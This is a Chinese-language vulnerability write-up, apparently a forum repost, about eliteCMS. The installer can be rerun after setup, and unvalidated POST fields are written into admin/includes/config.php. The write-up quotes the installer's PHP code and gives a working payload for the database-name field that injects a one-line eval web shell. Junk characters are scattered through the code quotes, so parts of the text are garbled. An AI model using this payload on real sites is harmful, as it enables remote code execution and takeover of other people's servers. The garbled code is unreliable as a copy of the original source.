eliteCMS安装文件未验证 + 一句话写入安全漏洞

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eliteCMS的安装程序安装结束后未作锁定，导致黑客可以通过访问安装程序地址进行重复安装

另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php
我们来看代码：
) s' c1 L- V+ m# j
...
% A) ?, g8 j6 c! l' l! Eelseif ($_GET['step'] == "4") {
  g+ p' l6 q$ I/ z    $file = "../admin/includes/config.php";
! M/ c' C+ L: x4 ?2 k    $write = "<?php\n";
    $write .= "/**\n";
    $write .= "*\n";
    $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";
: T9 O& K3 I7 D...略...
    $write .= "*\n";
    $write .= "*/\n";
    $write .= "\n";
    $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";
" Y7 a) I: H% e% W4 ^    $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";
    $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";
    $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";
    $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";
    $write .= "if (!\$connection) {\n";
    $write .= "        die(\"Database connection failed\" .mysql_error());\n";
1 J  l/ O( M. W8 u    $write .= "        \n";
    $write .= "} \n";
& E) t/ l& [# L( `1 ^    $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";
    $write .= "if (!\$db_select) {\n";
    $write .= "        die(\"Database select failed\" .mysql_error());\n";
9 ^! s1 Z$ @+ Y; [    $write .= "        \n";
    $write .= "} \n";
. a2 _, |; T( m3 U    $write .= "?>\n";

    $writer = fopen($file, 'w');
...

在看代码：

$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];
6 _# m1 P: R% H$_SESSION['DB_NAME'] = $_POST['DB_NAME'];
$_SESSION['DB_USER'] = $_POST['DB_USER'];
- {1 s, g% y; y( }: t0 B% w$_SESSION['DB_PASS'] = $_POST['DB_PASS'];

5 H# t2 F& _6 J5 w) e" e8 Z取值未作任何验证
7 F9 Z, E7 R( H2 m# ^* R如果将数据库名POST数据：

"?><?php eval($_POST[c]);?><?php

7 P* b3 f* x$ j) }将导致一句话后门写入/admin/includes/config.php
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